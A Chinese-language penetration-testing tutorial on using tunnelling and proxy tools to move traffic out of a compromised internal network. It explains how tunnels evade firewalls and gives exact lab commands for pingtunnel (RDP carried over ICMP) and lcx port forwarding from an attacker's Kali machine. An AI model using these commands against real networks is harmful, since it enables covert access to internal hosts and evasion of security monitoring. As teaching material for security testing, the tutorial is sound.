一、为什么要使用隧道技术和代理技术?
当拿到某网络主机的权限,发现无法将流量或者权限发送出来,对渗透造成了很大的影响,所以内网渗透必须需要了解到两个技术知识,代理与隧道技术。
代理技术:
代理简单来讲解决网络之间的通信问题,如内网与外网之间或者两者自己之间的通信,两个不同内网的通信就必须借助到代理,否则无法通讯。
隧道技术:
简单来讲就是解决流量无法发送,隧道技术多用来绕过一些安全设备的监控,如防火墙过滤问题,网络连接通讯问题,数据回链封装问题,对我们发送的流量进行了拦截,这个时候需要接触隧道技术绕过拦截,隧道技术就是使用不同的协议把走不通的路走通。走不同的协议技术建立通讯,可以说是其中也包括了一些代理的技术。
隧道技术可以在不同的网络层使用:
网络层:IPv6隧道,ICMP隧道
传输层:TCP隧道,UDP隧道,常见的端口转发
应用层:SSH隧道,HTP/S隧道,DNS隧道
连通性检测:
TCP 协议 用“瑞士军刀”——netcat 执行 nc 命令:nc <端口>
HTTP 协议 用“curl”工具,执行 curl <IP 地址:端口>命令。如果远程主机开启了相应的端口,且内网可连接外网的 话,就会输出相应的端口信息
ICMP 协议 用“ping”命令,执行 ping <IP 地址/域名>
DNS 协议 检测 DNS 连通性常用的命令是“nslookup”和“dig” nslookup 是 windows 自带的 DNS 探测命令 dig 是 linux 系统自带的 DNS 探测命令
案例1 网络层ICMP隧道
环境:kali(黑客)-pc1-pc2(pc1上面存在两张网卡,可与pc2相同也可以与kali相通)
隧道工具介绍: pingtunnel 是把 tcp/udp/sock5 流量伪装成 icmp 流量进行转发的工具
-p ##表示连接 icmp 隧道另一端的机器 IP(即目标服务器)
-lp ##表示需要监听的本地 tcp 端口
-da ##指定需要转发的机器的 IP(即目标内网某一机器的内网 IP)
-dp ##指定需要转发的机器的端口(即目标内网某一机器的内网端口)
-x ##设置连接的密码
连接前使用ping命令检测是否存在icmp协议(ping走的是ICMP协议)
pc1:./ptunnel -x xiaodi
Hacker kali:./ptunnel -p 192.168.76.150 -lp 1080 -da 192.168.33.33 -dp 3389 -x xiaodi
#转发的 3389请求数据给本地 1080
Hacker kali:rdesktop 127.0.0.1 1080
案例2 传输层端口转发隧道
工具使用
windows:lcx
linux:portmap
lcx转发流程:
1.lcx -slave 攻击 IP 3131 127.0.0.1 3389 //将本地 3389 给攻击 IP 的 3333
2.lcx -listen 3333 4444 //监听 3333 转发至 4444
3.kali连接4444端口等于连接第一台的3389端口